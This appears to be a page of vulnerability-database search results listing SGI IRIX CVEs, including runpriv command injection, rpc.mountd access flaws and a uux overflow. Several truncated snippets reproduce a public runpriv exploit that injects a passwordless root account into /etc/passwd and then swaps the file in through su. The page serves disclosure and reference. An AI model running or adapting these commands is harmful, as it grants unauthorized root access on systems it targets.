1089 matches found
CVE-2005-2925
runpriv in SGI IRIX allows local users to bypass intended restrictions and execute arbitrary commands via shell metacharacters in a command line for a privileged binary in /usr/sysadm/privbin...
CVE-2005-2925
The CVE-2005-2925 issue concerns SGI IRIX’s runpriv, a setuid-root helper in /usr/sysadm/privbin. The vulnerability arises from a design flaw that permits local attackers to execute arbitrary commands by injecting shell metacharacters into a command line that is otherwise allowed, enabling root p...
SGI IRIX runpriv utility unfiltered shell characters vulnerability
Unfiltered shell characters allow to execute any command...
[Full-disclosure] iDEFENSE Security Advisory 10.10.05: SGI IRIX runpriv Design Error Vulnerability
SGI IRIX runpriv Design Error Vulnerability iDEFENSE Security Advisory 10.10.05 www.idefense.com/application/poi/display?id=312&type=vulnerabilities October 10, 2005 I. BACKGROUND The runpriv program is a setuid root application that checks to see if a regular user has been granted privileges to...
SGI IRIX 6.5.28 - runpriv Design Error
SGI IRIX 6.5.28 - runpriv Design Error !/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123...
SGI IRIX <= 6.5.28 (runpriv) Design Error Vulnerability
Exploit for irix platform in category local exploits ======================================================= SGI IRIX /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123 /etc/passwd ; chmod 644 /etc/passwd ; su" 0day.today 2018-01-02...
SGI IRIX <= 6.5.28 (runpriv) Design Error Vulnerability
No description provided by source. !/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123...
SGI IRIX 6.5.28 - 'runpriv' Design Error
!/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123 /etc/passwd ; chmod 644 /etc/passwd ;...
CVE-2005-0139
Unknown vulnerability in rpc.mountd in SGI IRIX 6.5.25, 6.5.26, and 6.5.27 does not sufficiently restrict access rights for read-mostly exports, which allows attackers to conduct unauthorized activities...
CVE-2005-0138
CVE-2005-0138 affects SGI IRIX 6.5.25–6.5.27 where rpc.mountd does not correctly handle anonymous clients from hosts with undetermined hostnames. The public records describe this as a security-mechanism issue and note there is no clear attacker role, with the CVE possibly not meeting the vulnerab...
CVE-2005-0138
rpc.mountd in SGI IRIX 6.5.25, 6.5.26, and 6.5.27 does not correctly allow access to anonymous clients that connect from a system whose hostname can not be determined. NOTE: while this issue occurs in a security mechanism, there is no apparent attacker role and probably does not satisfy the CVE...
CVE-2005-0139
Unknown vulnerability in rpc.mountd in SGI IRIX 6.5.25, 6.5.26, and 6.5.27 does not sufficiently restrict access rights for read-mostly exports, which allows attackers to conduct unauthorized activities...
CVE-2005-0139
CVE-2005-0139 affects SGI IRIX 6.5.25/6.5.26/6.5.27 via rpc.mountd, where read-mostly exports do not have proper access restrictions. The issue is described as an unknown vulnerability allowing unauthorized activities; CVSS details from NVD indicate network access, low complexity, no authenticati...
CVE-2002-2093
The Video Control Panel on SGI O2/IRIX 6.5, when the Default Input is set to "Output Video", allows attackers to access a console session by running videoout then videoin...
CVE-2002-2093
The CVE-2002-2093 entry concerns SGI O2/IRIX 6.5, where the Video Control Panel can permit a user to gain a console session when the Default Input is set to “Output Video.” Attacks involve running videoout followed by videoin to access a console. The available documents confirm the affected produ...
CVE-2005-1859
Unknown vulnerability in arshell in the Array Service arrayd for SGI ProPack 3 with SP 5 and 6, and SGI ProPack 4, allows local users to execute arbitrary shells as root on other hosts in the cluster or array...
CVE-2005-1859
Unknown vulnerability in arshell (Array Service, arrayd) affecting SGI ProPack 3 (SP 5/6) and SGI ProPack 4. Local users could execute arbitrary shells as root on other hosts in the cluster/array. Root cause and specific exploit details are not provided in the connected documents; remediation det...
CVE-2005-1859
Unknown vulnerability in arshell in the Array Service arrayd for SGI ProPack 3 with SP 5 and 6, and SGI ProPack 4, allows local users to execute arbitrary shells as root on other hosts in the cluster or array...
CVE-2002-1791
SGI IRIX 6.5 through 6.5.17 creates temporary desktop files with world-writable permissions, which allows local users to overwrite or corrupt those files...
CVE-2002-1787
CVE-2002-1787 affects SGI IRIX 6.5–6.5.17; the vulnerability is a buffer overflow in the uux component of the eoe.sw.uucp package. The underlying root cause is improper handling of input causing a overflow, enabling local users to execute arbitrary code. References point to SGI advisories and pat...